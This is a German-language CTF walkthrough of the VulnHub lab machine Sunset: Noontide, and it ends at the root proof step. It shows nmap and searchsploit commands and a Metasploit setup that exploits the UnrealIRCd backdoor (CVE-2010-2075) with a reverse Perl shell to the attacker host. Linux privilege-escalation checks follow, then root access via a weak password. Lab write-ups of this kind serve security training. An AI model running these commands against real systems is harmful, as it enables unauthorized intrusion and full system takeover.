zales2004/sunset-noontide-pentestingBeschreibung Professionelle Penetrationstest-Bewertung der Sunset: Noontide VulnHub-Maschine, einschließlich Reconnaissance, Service-Enumeration, CVE-2010-2075-Ausnutzung, Post-Exploitation, Privilegieneskalation und vollständiger Systemkompromittierung.
Eine professionelle Penetration-Testing-Bewertung und CTF-Walkthrough von Sunset: Noontide, einer absichtlich verwundbaren Maschine von VulnHub.
Dieses Projekt dokumentiert den vollständigen Penetration-Testing-Lebenszyklus, einschließlich Reconnaissance, Service-Enumeration, Schwachstellenforschung, Exploitation, Initial Access, Post-Exploitation, Privilege Escalation, Proof-of-Compromise, Risikobewertung, MITRE ATT&CK-Mapping und Remediation.
⚠️ Haftungsausschluss: Diese Bewertung wurde gegen eine absichtlich verwundbare Maschine in einer autorisierten Laborumgebung durchgeführt. Die hier dokumentierten Techniken und Befehle sind ausschließlich für Systeme bestimmt, für die eine ausdrückliche Autorisierung eingeholt wurde.
| Komponente | Details |
|---|---|
| Ziel | Sunset: Noontide |
| Plattform | VulnHub |
| Ziel-IP | 10.106.186.186 |
| Ziel-Hostname | noontide |
| Ziel-Betriebssystem | Debian GNU/Linux 10 (Buster) |
| Architektur | x86_64 |
| Angreifer-Plattform | Kali Linux |
| Angreifer-IP | 10.106.186.204 |
| Bewertungsart | Autorisierte Laborbewertung |
| Gesamtrisiko | KRITISCH |
| Bewertungsergebnis | Vollständige Systemkompromittierung |
Zielerkennung → Nmap-Enumeration → UnrealIRCd 3.2.8.1 identifiziert → SearchSploit → CVE-2010-2075 identifiziert → Metasploit-Exploitation → Remote Command Shell → Shell als server → Linux-Post-Exploitation → Schwache Root-Anmeldedaten → su root → UID 0 / Root-Zugriff → User- & Root-Proof-Dateien
Eine initiale Netzwerkerkennung wurde durchgeführt, um das verwundbare Ziel zu identifizieren.
Das Ziel wurde letztendlich identifiziert als:
10.106.186.186
Während der Reconnaissance wurde 10.106.186.142 als Standard-Gateway und nicht als das beabsichtigte Ziel identifiziert.
Dies unterstreicht die Bedeutung der korrekten Identifizierung des Ziels vor der Durchführung weiterer Sicherheitstests, insbesondere in einem gebrückten oder gemeinsam genutzten Labornetzwerk.
Eine Nmap-Service- und Versionserkennung wurde gegen das Ziel durchgeführt mit:
nmap -sV 10.106.186.186
Der bedeutende exponierte Dienst, der während der Bewertung identifiziert wurde, war:
6667/tcp open irc UnrealIRCd
Anschließend wurde ein detaillierterer Scan durchgeführt mit:
nmap -sC -sV -Pn -p 6667 10.106.186.186
Der Dienst wurde identifiziert als:
UnrealIRCd 3.2.8.1
Der IRC-Dienst meldete außerdem:
irc.foonet.com
Der exponierte UnrealIRCd-Dienst wurde zur primären Angriffsfläche, die während der Bewertung untersucht wurde.
SearchSploit wurde verwendet, um öffentlich dokumentierte Schwachstellen im Zusammenhang mit der entdeckten UnrealIRCd-Version zu untersuchen.
Befehl:
searchsploit UnrealIRCd 3.2.8.1
Das relevante Ergebnis war:
UnrealIRCd 3.2.8.1 - Backdoor Command Exec
linux/remote/16922.rb
Die Schwachstelle wurde identifiziert als:
CVE-2010-2075
UnrealIRCd 3.2.8.1 Backdoor Command Execution
Kritisch
Remote Command Execution
Eine erfolgreiche Ausnutzung des verwundbaren Dienstes ermöglicht es einem Angreifer, Befehle remote auf dem Zielsystem auszuführen.
Der verwundbare IRC-Dienst wurde mit dem Metasploit Framework ausgenutzt.
Das ausgewählte Modul war:
exploit/unix/irc/unreal_ircd_3281_backdoor
Beispielkonfiguration:
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOST 10.106.186.186
Erste Payload-Versuche führten zu keiner nutzbaren Session.
Anschließend wurde eine kompatible Unix-Reverse-Perl-Payload ausgewählt:
set payload cmd/unix/reverse_perl
set LHOST 10.106.186.204
set LPORT 4444
run
Metasploit meldete, dass das Ziel verwundbar erschien, und öffnete erfolgreich eine Command-Shell-Session.
Die erhaltene Shell wurde verifiziert mit:
whoami
Ergebnis:
server
Dies bestätigte eine erfolgreiche Remote-Befehlsausführung als das Konto server.
Das initiale Arbeitsverzeichnis war:
/home/server/irc/Unreal3.2
Zu diesem Zeitpunkt ging die Bewertung von der Remote-Service-Exploitation zur lokalen Post-Exploitation-Enumeration über.
Nach Erlangung der Shell wurde eine standardmäßige Linux-Enumeration durchgeführt, um den kompromittierten Host zu verstehen und potenzielle Privilege-Escalation-Pfade zu identifizieren.
Befehl:
id
Ergebnis:
uid=1000(server) gid=1000(server)
Das Konto war ein Nicht-Root-Benutzer.
Befehl:
hostname
Ergebnis:
noontide
Befehl:
uname -a
Ergebnis:
Linux noontide 4.19.0-10-amd64 x86_64
Befehl:
cat /etc/os-release
Ergebnis:
Debian GNU/Linux 10 (buster)
Diese Befehle ermittelten die aktuelle Identität, den Hostnamen, die Kernel-Version, das Betriebssystem und die allgemeine Systemkonfiguration.
Es wurden mehrere standardmäßige Linux-Privilege-Escalation-Prüfungen durchgeführt.
Befehl:
find / -perm -4000 -type f 2>/dev/null
Standard-SUID-Binärdateien wie passwd, chsh, mount, umount, su, chfn, newgrp und gpasswd wurden identifiziert.
Es wurde keine offensichtliche benutzerdefinierte oder anomale SUID-Binärdatei als erfolgreicher Eskalationsvektor identifiziert.
Befehl:
sudo -l
Aus der verfügbaren Ausgabe wurde kein nützlicher sudo-basierter Privilege-Escalation-Pfad identifiziert.
Befehle:
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
Die beobachteten geplanten Aufgaben waren standardmäßige Systemaufgaben im Debian-Stil.
Es wurde kein offensichtlich beschreibbarer Root-Cron-Job identifiziert.
Befehl:
find / -writable -type f 2>/dev/null | head -100
Die ersten Ergebnisse waren hauptsächlich /proc-Pseudo-Dateien und offenbarten keinen praktischen Privilege-Escalation-Vektor.
Befehl:
getcap -r / 2>/dev/null
Aus der resultierenden Ausgabe wurde keine nützliche capability-basierte Privilege-Escalation identifiziert.
Der erfolgreiche Privilege-Escalation-Pfad basierte auf den absichtlich schwachen Root-Anmeldedaten, die auf der verwundbaren Maschine konfiguriert waren.
Auf das Root-Konto wurde zugegriffen mit:
su root
Passwort:
root
Der Root-Zugriff wurde anschließend verifiziert mit:
id
Ergebnis:
uid=0(root) gid=0(root) groups=0(root)
Die Identität wurde außerdem bestätigt mit:
whoami
Ergebnis:
root
Dies bestätigte die vollständige administrative Kontrolle über das Zielsystem.
Die Proof-Datei auf Benutzerebene befand sich unter:
/home/server/local.txt
Befehl:
cat /home/server/local.txt
Ergebnis:
c53c08b5bf2b0801c5d0c24149826a6e
Die Proof-Datei auf Root-Ebene befand sich unter:
/root/proof.txt
Befehl:
cat /root/proof.txt
Ergebnis:
